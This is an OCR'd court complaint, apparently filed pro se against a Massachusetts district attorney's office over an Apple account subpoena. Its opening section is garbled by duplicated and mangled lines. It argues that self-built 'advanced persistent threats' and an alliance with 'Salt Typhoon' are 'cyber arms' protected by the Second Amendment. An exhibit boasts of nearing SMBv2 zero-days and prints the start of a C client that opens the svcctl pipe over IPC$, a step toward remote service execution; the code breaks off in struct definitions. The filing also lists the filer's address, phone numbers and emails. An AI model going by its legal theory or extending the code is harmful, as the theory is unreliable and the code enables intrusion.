| COMMONWEALTH OF MASSACHUSETTS | |
|--|-------------|
| | |
| MIDDLESEX, SS. | |
| QUEENIAR COURT | |
| SUPERIOR COURT | |
| | |
| BO SHANG, | |
| | |
| Plaintiff, | |
| | |
| V. | |
| MIDDLESEX COUNTY DISTRICT | |
| WIDDLESEX COUNTY DISTRICT | |
| ATTORNEY'S OFFICE, | |
| , and the second se | |
| Defendant. | |
| | |
| | |
| COMPLAINT AND JURY DEMAND (AS ENHANCED) | |
| Plaintiff, Bo Shang ("Plaintiff"), brings this Complaint against Defendant Middlesex | |
| County District Attorney's Office ("Defendant") and alleges as follows, incorporating | |
| additional factual and legal authorities: | |
| | |
| | n MA 01803. |
| 1 Plaintiff is an individual residing in 10 McCafferty Way, Burlingtor | |
| 1 Plaintiff is an individual residing in 10 McCafferty Way, Burlingtor | |
| 1 Plaintiff is an individual residing in 10 McCafferty Way, Burlington 2 Defendant is a public office located in Middlesex County, Massa | achusetts. |
| 2 Defendant is a public office located in Middlesex County, Massa | achusetts. |
| | achusetts. |
| 2 Defendant is a public office located in Middlesex County, Massa JURISDICTION AND VENUE | |
| 2 Defendant is a public office located in Middlesex County, Massa | |

| 37 | arising under the Massachusetts Constitution, the Massachusetts Civil Rights Act | 37 |
|----|--|----|
| 38 | (MCRA), G.L. c. 12, §§ 11H & 11I, and other Massachusetts common law claims. | 38 |
| 39 | | 39 |
| 40 | 4 Venue is proper in this Court pursuant to G.L. c. 223, § 1, because the events or | 40 |
| 41 | omissions giving rise to this action occurred in Middlesex County and because | 41 |
| 42 | Defendant is located in Middlesex County. | 42 |
| 43 | | 43 |
| 44 | FACTUAL BACKGROUND | 44 |
| 45 | | 45 |
| 46 | 5 On or about January 8, 2025, Plaintiff alleges that the Middlesex District Attorney's | 46 |
| 47 | Office of MA, described by Plaintiff as "corrupt and despicably morally principled," | 47 |
| 48 | filed a data request to Apple, supposedly under Massachusetts Rules of Civil | 48 |
| 49 | Procedure 45. | 49 |
| 50 | | 50 |
| 51 | 6 This occurred on the same day Plaintiff filed a motion to dismiss Twitch and an AirTag + | 51 |
| 52 | commerce tax (App Store) lawsuit against Apple (which hosts the Twitch app). | 52 |
| 53 | | 53 |
| 54 | 7 Plaintiff asserts that this data request was not legitimately obtained under Mass. R. Civ. | 54 |
| 55 | P. 45 but was instead an illegal measure taken against Plaintiff as an "enemy | 55 |
| 56 | combatant," contrary to both domestic and international law, including Geneva | 56 |
| 57 | Conventions III & IV, and the International Covenant on Civil and Political Rights | 57 |
| 58 | | 58 |
| 59 | (ICCPR). | 59 |
| 60 | | 60 |
| 61 | 7A. The United States is a party to the four Geneva Conventions of 1949, which set forth | 61 |
| 62 | standards for treatment of persons in armed conflicts, including alleged "enemy | 62 |
| 63 | combatants." Plaintiff maintains that labeling Plaintiff as an "enemy combatant" | 63 |
| 64 | without due process violates customary international humanitarian law and Supreme | 64 |
| 65 | Court precedent concerning the rights of such individuals. See, e.g., Hamdi v. | 65 |
| 66 | Rumsfeld, 542 U.S. 507 (2004); Rasul v. Bush, 542 U.S. 466 (2004); Boumediene v. | 66 |
| 67 | Bush, 553 U.S. 723 (2008). | 67 |
| 68 | | 68 |
| 69 | 7B. The United States is also a State Party to the ICCPR, which, under Article 9, protects | 69 |
| 70 | against arbitrary arrest or detention and, under Article 14, protects due process rights. | 70 |
| 71 | Plaintiff alleges that classifying Plaintiff as an "enemy combatant" in a civilian context, | 71 |
| 72 | and thereby circumventing ordinary legal process, violates the ICCPR's guarantees of | 72 |

| | | _ |
|-----|--|-----|
| 73 | fundamental procedural protections. | 73 |
| 74 | | 74 |
| 75 | 7C. The Supreme Court has further clarified the rights of individuals designated as "enemy | 75 |
| 76 | combatants" in Padilla v. Rumsfeld, 542 U.S. 426 (2004), emphasizing the need for | 76 |
| 77 | proper legal process. Plaintiff alleges these precedents reinforce the argument that | 77 |
| 78 | civilian processes cannot be bypassed via "enemy combatant" designations. | 78 |
| 79 | | 79 |
| 80 | 7D. In Ex parte Milligan, 71 U.S. (4 Wall.) 2 (1866), the Supreme Court held that applying | 80 |
| 81 | military or martial process to civilians, when civil courts are open, is unconstitutional. | 81 |
| 82 | Plaintiff contends this principle applies here, making any civilian "enemy combatant" | 82 |
| 83 | label unlawful. | 83 |
| 84 | | 84 |
| 85 | 7E. The Supreme Court in Hamdan v. Rumsfeld, 548 U.S. 557 (2006), further confirmed | 85 |
| 86 | that efforts to circumvent civilian courts through alternative proceedings for alleged | 86 |
| 87 | combatants violate U.S. constitutional principles. Plaintiff alleges that all such | 87 |
| 88 | precedents collectively prohibit unilateral "enemy combatant" branding in non-war | 88 |
| 89 | contexts. | 89 |
| 90 | | 90 |
| 91 | 8 On January 30, 2025, Plaintiff received an email from Apple regarding this request, | 91 |
| 92 | which stated in part: | 92 |
| 93 | | 93 |
| 94 | "Apple | 94 |
| 95 | | 95 |
| 96 | NOTE: THIS NOTICE IS BEING SENT FROM A NO-REPLY EMAIL ACCOUNT—ANY RESPONSE | 96 |
| 97 | | 97 |
| 98 | TO THIS EMAIL WILL NOT RECEIVE A RESPONSE | 98 |
| 99 | | 99 |
| 100 | Dear Account Holder/Customer: | 100 |
| 101 | | 101 |
| 102 | On 2025-01-08, Apple Inc. ("Apple") received a legal request from Middlesex District | 102 |
| 103 | Attorney's Office requesting information regarding your Apple account. | 103 |
| 104 | | 104 |
| 105 | The contact information in relation to the request: | 105 |
| 106 | Requesting Agency: Middlesex District Attorney's Office | 106 |
| 107 | Requesting Agency Location: Woburn, MA - Massachusetts | 107 |
| 108 | Requesting Agency Case Number: 2024-398 | 108 |
| | | 1 |

| 109 | Legal Request Type: Subpoena / Summons | 109 |
|-----|--|-----------------|
| 110 | | 110 |
| 111 | Pursuant to the applicable Terms of Service and Apple's Privacy Policy, | 11 ⁻ |
| 112 | http://www.apple.com/legal/privacy/en-ww/, and as required by U.S. law, Apple | 112 |
| 113 | will be producing the requested data in a timely manner as required by the legal | 113 |
| 114 | process. If you have questions about the legal request or the information requested, | 114 |
| 115 | please contact the requesting agency. | 118 |
| 116 | | 116 |
| 117 | Sincerely, | 117 |
| 118 | Apple Privacy & Law Enforcement Compliance | 118 |
| 119 | Apple Inc." | 119 |
| 120 | | 120 |
| 121 | 9 Plaintiff maintains that Defendant violated Plaintiff's rights under federal and state law | 12 ⁻ |
| 122 | by improperly obtaining and misusing personal data. Plaintiff asserts a violation of | 122 |
| 123 | privacy rights under G.L. c. 214, § 1B (right against unreasonable, substantial or | 123 |
| 124 | serious interference with privacy), Article 14 of the Massachusetts Declaration of | 124 |
| 125 | Rights (protection against unreasonable searches and seizures), the Fourth Amendment | 12 |
| 126 | to the U.S. Constitution, and international human rights norms including Article 17 of | 126 |
| 127 | the ICCPR and Article 12 of the Universal Declaration of Human Rights (UDHR). | 127 |
| 128 | | 128 |
| 129 | 9A. The UDHR, though not a binding treaty, informs customary international law and reflects | 129 |
| 130 | global human rights standards. Article 12 states that "[n]o one shall be subjected to | 130 |
| 131 | arbitrary interference with his privacy," a principle Plaintiff contends was violated. | 13 ⁻ |
| 132 | | 132 |
| 133 | 9B. The United States is also a State Party to the Convention Against Torture (CAT), | 133 |
| 134 | highlighting due process norms. Plaintiff claims that Defendant's labeling and treatment | 134 |
| 135 | of Plaintiff as an "enemy combatant" violate the spirit of these international | 13 |
| 136 | commitments. | 136 |
| 137 | | 137 |
| 138 | 9C. In United States v. Warshak, 631 F.3d 266 (6th Cir. 2010), the court recognized a | 138 |
| 139 | reasonable expectation of privacy in certain electronic communications, requiring | 139 |
| 140 | proper legal process for data access. Plaintiff alleges Defendant's conduct flouts | 140 |
| 141 | Warshak's privacy rationale. | 14 |
| 142 | | 142 |
| 143 | 9D. In Kyllo v. United States, 533 U.S. 27 (2001), the Supreme Court held that obtaining | 143 |
| 144 | information through technology not otherwise accessible without physical intrusion | 144 |

| 145 | implicates the Fourth Amendment. Plaintiff characterizes Defendant's subpoena or | 145 |
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| 146 | data request as an analogous overreach. | 146 |
| 147 | | 147 |
| 148 | 9E. Under Massachusetts jurisprudence, the Supreme Judicial Court in Commonwealth v. | 148 |
| 149 | Augustine, 467 Mass. 230 (2014), recognized strong privacy protections for personal | 149 |
| 150 | digital records, requiring heightened procedures for obtaining certain data. Plaintiff | 150 |
| 151 | alleges that Defendant's conduct runs afoul of Augustine's reasoning. | 151 |
| 152 | | 152 |
| 153 | 10 Plaintiff alleges that, in response to Defendant's perceived threat, Plaintiff invoked the | 153 |
| 154 | Second Amendment to the U.S. Constitution, as recognized in District of Columbia | 154 |
| 155 | v. Heller, 554 U.S. 570 (2008), McDonald v. City of Chicago, 561 U.S. 742 (2010), and | 155 |
| 156 | Caetano v. Massachusetts, 577 U.S. 411 (2016). Plaintiff also invokes Article 17 of | 156 |
| 157 | the Massachusetts Declaration of Rights, contending these decisions protect an | 157 |
| 158 | individual right to bear "arms," which Plaintiff interprets to include "cyber arms." | 158 |
| 159 | | 159 |
| 160 | 11 Plaintiff claims to have developed or acquired "cyber arms" by creating advanced | 160 |
| 161 | persistent threats ("APTs") and by allying with other APTs, including "Salt Typhoon." | 161 |
| 162 | Plaintiff asserts that these "cyber arms" are protected under the Second Amendment | 162 |
| 163 | and Article 17 as a form of self-defense. | 163 |
| 164 | | 164 |
| 165 | 12 Plaintiff alleges that Defendant's conduct in issuing or causing the issuance of a data | 165 |
| 166 | request without valid legal basis constituted an unlawful intrusion upon Plaintiff's data | 166 |
| 167 | privacy, in violation of the Fourth Amendment (as incorporated by Mapp v. Ohio, 367 | 167 |
| 168 | U.S. 643 (1961), and recognized in Katz v. United States, 389 U.S. 347 (1967), Terry v. | 168 |
| 169 | Ohio, 392 U.S. 1 (1968), Carpenter v. United States, 138 S. Ct. 2206 (2018), Riley v. | 169 |
| 170 | California, 573 U.S. 373 (2014)), Article 14 of the Massachusetts Declaration of Rights, | 170 |
| 171 | the Stored Communications Act (18 U.S.C. §§ 2701–2712), Article 17 of the ICCPR, | 171 |
| 172 | and Article 12 of the UDHR. | 172 |
| 173 | | 173 |
| 174 | 12A. Plaintiff notes that third-party data requests implicate the "third-party doctrine," as set | 174 |
| 175 | forth in Smith v. Maryland, 442 U.S. 735 (1979). However, Carpenter recognized | 175 |
| 176 | limitations when sensitive digital data is at issue. Plaintiff alleges that Defendant's | 176 |
| 177 | conduct violates Carpenter's narrowing of the third-party doctrine. | 177 |
| 178 | | 178 |
| 179 | 12B. Plaintiff further cites Commonwealth v. Gouse, 461 Mass. 787 (2012), for the | 179 |
| 180 | proposition that Massachusetts courts often apply heightened scrutiny to searches | 180 |
| | | |

| 181 | involving personal or digital privacy, reinforcing Plaintiff's claim that Defendant's | 181 |
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| 182 | subpoena was invalid or overreaching. | 182 |
| 183 | | 183 |
| 184 | 13 Plaintiff contends that Defendant's conduct effectively labeled Plaintiff an "enemy | 184 |
| 185 | combatant," heightening constitutional concerns, implicating Article 5 of the UDHR, and | 185 |
| 186 | prompting Plaintiff's reliance on the Second Amendment and Article 17 to protect | 186 |
| 187 | "cyber arms" from confiscation, regulation, or direct infringement. | 187 |
| 188 | | 188 |
| 189 | 13A. Plaintiff invokes Hamdan v. Rumsfeld, 548 U.S. 557 (2006), to underscore the illegality | 189 |
| 190 | of any extrajudicial designation of "enemy combatant" status. Plaintiff argues that | 190 |
| 191 | under both domestic and international law, such designations cannot bypass civilian | 191 |
| 192 | jurisdiction in ordinary contexts. | 192 |
| 193 | | 193 |
| 194 | 14 Plaintiff asserts that Defendant's actions violate customary international law norms | 194 |
| 195 | related to privacy, as recognized by multiple treaties and conventions to which the | 195 |
| 196 | United States is a party or signatory, including the ICCPR, and contravene prohibitions | 196 |
| 197 | on arbitrary interference under global human rights standards. | 197 |
| 198 | | 198 |
| 199 | 14A. The United States is a signatory to the Budapest Convention on Cybercrime, addressing | 199 |
| 200 | lawful cooperation in criminal cyber matters. Plaintiff contends that Defendant's | 200 |
| 201 | allegedly improper "cyber" classification and data request contravene the spirit of | 201 |
| 202 | privacy protections contemplated by such instruments. | 202 |
| 203 | | 203 |
| 204 | 14B. Although the United States has not ratified Additional Protocol I or II to the Geneva | 204 |
| 205 | Conventions, Plaintiff argues that certain principles therein reflect customary | 205 |
| 206 | international humanitarian law, prohibiting arbitrary or extrajudicial designations | 206 |
| 207 | of civilians as combatants. | 207 |
| 208 | | 208 |
| 209 | 14C. The United States is also a member of the Organization of American States and is bound | 209 |
| 210 | by certain obligations under the American Declaration of the Rights and Duties of Man, | 210 |
| 211 | which can inform interpretations of privacy and due process in conjunction with other | 211 |
| 212 | international norms. | 212 |
| 213 | | 213 |
| 214 | 14D. In addition, N.Y. State Rifle & Pistol Assn. v. Bruen, 597 U.S (2022), further | 214 |
| 215 | clarified the scope of the Second Amendment right to bear arms. Plaintiff references | 215 |
| 216 | Bruen to argue that Defendant's attempts to limit, seize, or regulate "cyber arms" | 216 |

| 217 | are inconsistent with the broad individual right recognized by the Supreme Court. | 217 |
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| 218 | | 218 |
| 219 | CAUSES OF ACTION | 219 |
| 220 | | 220 |
| 221 | COUNT I | 221 |
| 222 | (Violation of 42 U.S.C. § 1983) | 222 |
| 223 | | 223 |
| 224 | 15 Plaintiff repeats and re-alleges all preceding paragraphs as though fully set forth herein. | 224 |
| 225 | | 225 |
| 226 | 16 Defendant, acting under color of state law, allegedly caused the issuance of a subpoena | 226 |
| 227 | or summons without proper legal basis in violation of Plaintiff's constitutional rights, | 227 |
| 228 | including but not limited to the Fourth Amendment right to be free from unreasonable | 228 |
| 229 | searches and seizures as recognized in Katz, Terry, Mapp, Carpenter, Riley, and related | 229 |
| 230 | precedent. | 230 |
| 231 | | 231 |
| 232 | 17 By issuing or causing this allegedly improper process, Defendant deprived Plaintiff of | 232 |
| 233 | rights secured by the Constitution and laws of the United States, in contravention of | 233 |
| 234 | | 234 |
| 235 | 42 U.S.C. § 1983. | 235 |
| 236 | | 236 |
| 237 | COUNT II | 237 |
| 238 | (Violation of Massachusetts Civil Rights Act) | 238 |
| 239 | | 239 |
| 240 | 18 Plaintiff repeats and re-alleges all preceding paragraphs as though fully set forth herein. | 240 |
| 241 | | 241 |
| 242 | 19 Defendant's conduct—issuing a data request under color of law without legitimate | 242 |
| 243 | basis—constitutes interference or attempted interference with Plaintiff's exercise or | 243 |
| 244 | enjoyment of rights secured by the Constitutions and laws of the United States and | 244 |
| 245 | the Commonwealth, including the right against unreasonable searches (Article 14) and | 245 |
| 246 | the right to keep arms (Article 17), by means of threats, intimidation, or coercion, in | 246 |
| 247 | violation of G.L. c. 12, §§ 11H & 11I. See Batchelder v. Allied Stores Int'l, Inc., | 247 |
| 248 | 388 Mass. 83 (1983); Buster v. George W. Moore, Inc., 438 Mass. 635 (2003); | 248 |
| 249 | 000 Maos. 00 (1000), Edition 1. Cooligo 11. Moole, 110., 100 Maos. 000 (2000), | 240 |
| | Commonwealth v. Powell, 459 Mass. 572 (2011). | 249 |
| 250 | | |
| | | 249 |
| 250 | Commonwealth v. Powell, 459 Mass. 572 (2011). | 249 250 |

| 253 | | 253 |
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| 254 | COUNT III | 254 |
| 255 | (Abuse of Process Under Massachusetts Law) | 255 |
| 256 | | 256 |
| 257 | 21 Plaintiff repeats and re-alleges all preceding paragraphs as though fully set forth herein. | 257 |
| 258 | | 258 |
| 259 | 22 Under Massachusetts law, an abuse of process claim arises when legal process is used | 259 |
| 260 | for an ulterior or illegitimate purpose. See Cohen v. Hurley, 20 Mass. App. Ct. 439 | 260 |
| 261 | (1985); Kelley v. Stop & Shop Cos., 26 Mass. App. Ct. 557 (1988); Lorusso v. Bloom, | 261 |
| 262 | 321 Mass. 9 (1947). | 262 |
| 263 | | 263 |
| 264 | 23 Defendant allegedly misused legal process by pursuing a data request unsupported by | 264 |
| 265 | valid legal grounds and did so for an improper purpose, causing harm to Plaintiff. | 265 |
| 266 | | 266 |
| 267 | 24 As a direct and proximate result of Defendant's actions, Plaintiff has suffered damages | 267 |
| 268 | recoverable under Massachusetts law. | 268 |
| 269 | | 269 |
| 270 | COUNT IV | 270 |
| 271 | (Injunctive Relief Under Federal and State Law) | 271 |
| 272 | | 272 |
| 273 | 25 Plaintiff repeats and re-alleges all preceding paragraphs as though fully set forth herein. | 273 |
| 274 | | 274 |
| 275 | 26 As a result of Defendant's conduct, Plaintiff seeks injunctive relief prohibiting | 275 |
| 276 | Defendant from further unlawful use of subpoenas, summonses, or other legal process | 276 |
| 277 | to access Plaintiff's personal data without proper justification. Plaintiff seeks to enjoin | 277 |
| 278 | any acts by Defendant that violate Plaintiff's rights under federal and state law, | 278 |
| 279 | including the Fourth Amendment, Article 14, G.L. c. 214, § 1B, the MCRA, the Stored | 279 |
| 280 | Communications Act, and international human rights treaties such as the ICCPR. | 280 |
| 281 | | 281 |
| 282 | COUNT V | 282 |
| 283 | (Assertion of the Second Amendment and | 283 |
| 284 | Article 17 of the Massachusetts Declaration of Rights) | 284 |
| 285 | | 285 |
| 286 | 27 Plaintiff repeats and re-alleges all preceding paragraphs as though fully set forth herein. | 286 |
| 287 | | 287 |
| 288 | 28 The Second Amendment states that "the right of the people to keep and bear Arms, | 288 |

| 289 | shall not be infringed." As held in District of Columbia v. Heller, 554 U.S. 570 (2008), | 289 |
|-----|--|-----|
| 290 | this right is individual in nature, and in McDonald v. City of Chicago, 561 U.S. 742 | 290 |
| 291 | (2010), it applies to the states. In Caetano v. Massachusetts, 577 U.S. 411 (2016), | 291 |
| 292 | the Supreme Court reiterated its broad scope. Article 17 of the Massachusetts | 292 |
| 293 | Declaration of Rights similarly protects the right to keep and bear arms. N.Y. State | 293 |
| 294 | Rifle & Pistol Assn. v. Bruen, 597 U.S (2022), further refines these constitutional | 294 |
| 295 | principles. | 295 |
| 296 | | 296 |
| 297 | 29 Plaintiff asserts that "cyber arms" (i.e., advanced persistent threats, digital tools, or | 297 |
| 298 | alliances with groups such as "Salt Typhoon") constitute protected "arms" under the | 298 |
| 299 | Second Amendment and Article 17. Plaintiff alleges that any attempt by Defendant | 299 |
| 300 | to seize, regulate, or otherwise interfere with these "cyber arms" without due process | 300 |
| 301 | violates Plaintiff's federal and state constitutional rights. | 301 |
| 302 | | 302 |
| 303 | 30 Plaintiff further alleges that Defendant's labeling of Plaintiff as an "enemy combatant" | 303 |
| 304 | or any related act to disarm Plaintiff's "cyber capacity" contravenes Heller, McDonald, | 304 |
| 305 | Caetano, Bruen, and Article 17 of the Massachusetts Declaration of Rights. | 305 |
| 306 | | 306 |
| 307 | 31 Plaintiff therefore seeks declaratory relief that any effort by Defendant to restrict | 307 |
| 308 | Plaintiff's possession or development of "cyber arms" violates the Second Amendment | 308 |
| 309 | and Article 17, and that such restriction contravenes self-defense principles acknowledged | 309 |
| 310 | by various human rights instruments, including the UN Charter's Article 51 (albeit in | 310 |
| 311 | state contexts) and related customary international law. | 311 |
| 312 | | 312 |
| 313 | REQUEST FOR RELIEF | 313 |
| 314 | | 314 |
| 315 | WHEREFORE, Plaintiff respectfully requests that this Court: | 315 |
| 316 | | 316 |
| 317 | A. Enter judgment in favor of Plaintiff and against Defendant on all causes of action; | 317 |
| 318 | B. Award Plaintiff compensatory, consequential, and punitive damages in an amount to be | 318 |
| 319 | determined at trial; | 319 |
| 320 | | 320 |
| 321 | C Grant injunctive relief restraining Defendant from seeking or using Plaintiff's personal | 321 |
| 322 | data without proper legal justification; | 322 |
| 323 | | 323 |
| 324 | D Declare that Plaintiff's "cyber arms" are protected under the Second Amendment and | 324 |

| 325 | Article 17, and that any attempt by Defendant to restrict or confiscate them, if any, | 325 |
|-----|---|-----|
| 326 | violates federal and state constitutions and relevant international human rights standards; | 326 |
| 327 | E. Award Plaintiff's reasonable attorneys' fees and costs pursuant to 42 U.S.C. § 1988, | 327 |
| 328 | G.L. c. 12, §§ 11H & 11I, or as otherwise provided by law; | 328 |
| 329 | F. Grant such other and further relief as the Court deems just and proper. | 329 |
| 330 | | 330 |
| 331 | DEMAND FOR JURY TRIAL | 331 |
| 332 | | 332 |
| 333 | Plaintiff demands a trial by jury on all issues so triable. | 333 |
| 334 | | 334 |
| 335 | Dated: 2/27/2025 | 335 |
| 336 | | 336 |
| 337 | Respectfully submitted, | 337 |
| 338 | | 338 |
| 339 | | 339 |
| 340 | Bo Shang | 340 |
| 341 | 10 McCafferty Way | 341 |
| 342 | Burlington MA 01803-3127 | 342 |
| 343 | 202-235-5017 781-999-4101 | 343 |
| 344 | bo@shang.software enigmatic.typhoon@gmail.com | 344 |
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| 366 | EXHIBIT 1: On 1/30/25, the Plaintiff receives an email from Apple detailing the information request made | t& 66 |
| 367 | the Plaintiff's developer account on 1/8/25, by the Middlsex DA's Office. This date coincided with the | 367 |
| 368 | Plaintiff filing 27 and 27-1 in Federal Court Case 3:24-cv-06664-JS, the first time ever anyone has won a | 368 |
| 369 | Section 230 claim vs Twitch interactive. | 369 |
| 370 | | 370 |
| 371 | https://www.fakeopenai.co/section230 | 371 |
| 372 | | 372 |
| 373 | https://www.fakeopenai.co/lsat | 373 |
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| 389 | EXHIBIT 2: The Plaintiff is making great progress, and expects to achieve an "Eternal" family of zero-da | y 389 |
| 390 | capabilities on the SMBv2 protocol, within a day or few days. | 390 |
| 391 | | 391 |
| 392 | /************************************** | 392 |
| 393 | * File: smb2_pipe_exec_client.c ss | 393 |
| 394 | * | 394 |
| 395 | * Demonstrates: | 395 |
| 396 | * 1. Connecting to an SMB2/3 server (TCP 445). | 396 |
| | | |

| | | _ |
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| 397 | * 2. Negotiate, Session Setup, Tree Connect to IPC\$. | 397 |
| 398 | * 3. Create/open the named pipe "\\PIPE\\svcctl". | 398 |
| 399 | * 4. Partially demonstrate sending a DCERPC bind | 399 |
| 400 | * request to the SVCCTL interface (stub only). | 400 |
| 401 | * 5. Read back any server response. | 401 |
| 402 | * 6. Close the pipe with an SMB2 Close. | 402 |
| 403 | * | 403 |
| 404 | * Security & Production Warnings: | 404 |
| 405 | * - This remains incomplete demonstration code: | 405 |
| 406 | * - No real auth or signing. | 406 |
| 407 | * - No real DCERPC parse/marshalling logic. | 407 |
| 408 | * - Minimal error handling and no encryption. | 408 |
| 409 | * - Use only in a controlled environment with | 409 |
| 410 | * permission! | 410 |
| 411 | **********************************/ | 411 |
| 412 | | 412 |
| 413 | #include <stdio.h></stdio.h> | 413 |
| 414 | #include <stdlib.h></stdlib.h> | 414 |
| 415 | #include <string.h></string.h> | 415 |
| 416 | #include <unistd.h></unistd.h> | 416 |
| 417 | #include <arpa inet.h=""></arpa> | 417 |
| 418 | #include <stdint.h></stdint.h> | 418 |
| 419 | #include <errno.h></errno.h> | 419 |
| 420 | | 420 |
| 421 | #pragma pack(push, 1) | 421 |
| 422 | | 422 |
| 423 | // | 423 |
| 424 | // SMB2 Header | 424 |
| 425 | // | 425 |
| 426 | typedef struct _SMB2Header { | 426 |
| 427 | unsigned char Protocolld[4]; // 0xFE 'S' 'M' 'B' | 427 |
| 428 | uint16_t StructureSize; // Always 64 for SMB2 | 428 |
| 429 | uint16_t CreditCharge; // Credits requested/charged | 429 |
| 430 | uint32_t Status; // For responses, server sets status | 430 |
| 431 | uint16_t Command; // SMB2 command code | 431 |
| 432 | uint16_t Credits; // Credits granted/requested | 432 |
| | | |

| 133 | uint32_t Flags; // SMB2 header flags | 433 |
|-----|---|-----|
| 134 | uint32_t NextCommand; // Offset to next command in compound | 434 |
| 135 | uint64_t MessageId; // Unique message ID | 435 |
| 136 | uint32_t Reserved; // Usually 0 | 436 |
| 137 | uint32_t Treeld; // Tree ID | 437 |
| 138 | uint64_t SessionId; // Session ID | 438 |
| 139 | unsigned char Signature[16]; // For signing (unused here) | 439 |
| 140 | } SMB2Header; | 440 |
| 141 | | 441 |
| 142 | // SMB2 Commands | 442 |
| 143 | #define SMB2_NEGOTIATE 0x0000 | 443 |
| 44 | #define SMB2_SESSION_SETUP 0x0001 | 444 |
| 45 | #define SMB2_TREE_CONNECT 0x0003 | 445 |
| 46 | #define SMB2_CREATE 0x0005 | 446 |
| 47 | #define SMB2_CLOSE 0x0006 | 447 |
| 48 | #define SMB2_READ 0x0008 | 448 |
| 19 | #define SMB2_WRITE 0x0009 | 449 |
| 50 | | 450 |
| 51 | // SMB2 Status Codes (common) | 451 |
| 52 | #define STATUS_SUCCESS 0x00000000 | 452 |
| 53 | #define STATUS_INVALID_PARAMETER 0xC000000D | 453 |
| 54 | #define STATUS_ACCESS_DENIED 0xC0000022 | 454 |
| 55 | #define STATUS_NOT_SUPPORTED 0xC00000BB | 455 |
| 56 | | 456 |
| 57 | // SMB2 Dialects | 457 |
| 8 | #define SMB2_DIALECT_0202 0x0202 | 458 |
| 9 | #define SMB2_DIALECT_0210 0x0210 | 459 |
| 0 | #define SMB2_DIALECT_0300 0x0300 | 460 |
| 1 | | 461 |
| 2 | // | 462 |
| 3 | // Minimal Structures for Basic SMB2 Ops | 463 |
| 64 | // | 464 |
| 65 | | 465 |
| 66 | /* SMB2 NEGOTIATE */ | 466 |
| 67 | typedef struct _SMB2NegotiateRequest { | 467 |
| 8 | uint16_t StructureSize; // Must be 36 | 468 |
| | | |

```
469
         uint16 t DialectCount;
                                                                                                                       469
470
         uint16_t SecurityMode;
                                                                                                                       470
471
         uint16_t Reserved;
                                                                                                                       471
472
         uint32 t Capabilities;
                                                                                                                       472
473
         uint64_t ClientGuid; // Simplified to 8 bytes for demonstration
                                                                                                                       473
474
         uint32_t NegotiateContextOffset;
                                                                                                                       474
475
         uint16_t NegotiateContextCount;
                                                                                                                       475
476
         uint16 t Reserved2;
                                                                                                                       476
477
                                                                                                                       477
         // Then dialect array
478
         } SMB2NegotiateRequest;
                                                                                                                       478
479
                                                                                                                       479
480
         typedef struct SMB2NegotiateResponse {
                                                                                                                       480
481
         uint16_t StructureSize; // Must be 65 in real SMB2
                                                                                                                       481
482
                                                                                                                       482
         uint16_t SecurityMode;
483
         uint16_t DialectRevision;
                                                                                                                       483
484
         uint16_t NegotiateContextCount;
                                                                                                                       484
485
         uint32_t ServerGuid; // Simplified
                                                                                                                       485
486
         uint32 t Capabilities;
                                                                                                                       486
487
         uint32 t MaxTransSize;
                                                                                                                       487
488
         uint32_t MaxReadSize;
                                                                                                                       488
489
                                                                                                                       489
         uint32_t MaxWriteSize;
490
         uint64 t SystemTime;
                                                                                                                       490
491
         uint64 t ServerStartTime;
                                                                                                                       491
492
                                                                                                                       492
         // etc...
493
                                                                                                                       493
         } SMB2NegotiateResponse;
494
                                                                                                                       494
495
                                                /* SMB2 SESSION_SETUP */
                                                                                                                       495
496
         typedef struct _SMB2SessionSetupRequest {
                                                                                                                       496
497
         uint16_t StructureSize; // Must be 25
                                                                                                                       497
498
                                                                                                                       498
         uint8_t Flags;
499
         uint8_t SecurityMode;
                                                                                                                       499
500
         uint32_t Capabilities;
                                                                                                                       500
501
         uint32 t Channel;
                                                                                                                       501
502
         uint16 t SecurityBufferOffset;
                                                                                                                       502
503
                                                                                                                       503
         uint16_t SecurityBufferLength;
504
                                                                                                                       504
         // Security buffer follows...
```

```
505
         } SMB2SessionSetupRequest;
                                                                                                                  505
506
                                                                                                                  506
507
         typedef struct _SMB2SessionSetupResponse {
                                                                                                                  507
508
         uint16 t StructureSize; // Must be 9
                                                                                                                  508
509
         uint16_t SessionFlags;
                                                                                                                  509
510
         uint16_t SecurityBufferOffset;
                                                                                                                  510
511
         uint16_t SecurityBufferLength;
                                                                                                                  511
512
         // ...
                                                                                                                  512
513
         } SMB2SessionSetupResponse;
                                                                                                                  513
514
                                                                                                                  514
515
                                               /* SMB2 TREE CONNECT */
                                                                                                                  515
         typedef struct SMB2TreeConnectRequest {
516
                                                                                                                  516
517
         uint16_t StructureSize; // Must be 9
                                                                                                                  517
                                                                                                                  518
518
         uint16_t Reserved;
519
         uint32 t PathOffset;
                                                                                                                  519
520
         uint32_t PathLength;
                                                                                                                  520
521
         // Path follows
                                                                                                                  521
                                                                                                                  522
522
         } SMB2TreeConnectRequest;
523
                                                                                                                  523
524
         typedef struct _SMB2TreeConnectResponse {
                                                                                                                  524
525
         uint16_t StructureSize; // Must be 16
                                                                                                                  525
526
         uint8 t ShareType;
                                                                                                                  526
527
         uint8 t Reserved;
                                                                                                                  527
528
                                                                                                                  528
         uint32_t ShareFlags;
529
                                                                                                                  529
         uint32_t Capabilities;
530
         uint32 t MaximalAccess;
                                                                                                                  530
531
         } SMB2TreeConnectResponse;
                                                                                                                  531
532
                                                                                                                  532
533
                                                   /* SMB2 CREATE */
                                                                                                                  533
534
         typedef struct _SMB2CreateRequest {
                                                                                                                  534
535
         uint16_t StructureSize; // Must be 57
                                                                                                                  535
536
         uint8_t SecurityFlags;
                                                                                                                  536
537
         uint8 t RequestedOplockLevel;
                                                                                                                  537
538
                                                                                                                  538
         uint32 t ImpersonationLevel;
539
                                                                                                                  539
         uint64_t SmbCreateFlags;
540
                                                                                                                  540
         uint64_t Reserved;
```

```
541
                                                                                                                      541
         uint32 t DesiredAccess;
542
         uint32_t FileAttributes;
                                                                                                                      542
543
         uint32_t ShareAccess;
                                                                                                                      543
544
         uint32_t CreateDisposition;
                                                                                                                      544
545
         uint32_t CreateOptions;
                                                                                                                      545
546
         uint16_t NameOffset;
                                                                                                                      546
547
         uint16_t NameLength;
                                                                                                                      547
548
         uint32_t CreateContextsOffset;
                                                                                                                      548
549
         uint32_t CreateContextsLength;
                                                                                                                      549
550
         // Filename follows...
                                                                                                                      550
551
         } SMB2CreateRequest;
                                                                                                                      551
552
                                                                                                                      552
553
         typedef struct _SMB2CreateResponse {
                                                                                                                      553
554
                                                                                                                      554
         uint16_t StructureSize; // Must be 89
555
         uint8_t OplockLevel;
                                                                                                                      555
556
         uint8_t Flags;
                                                                                                                      556
557
         uint32_t CreateAction;
                                                                                                                      557
558
         uint64_t CreationTime;
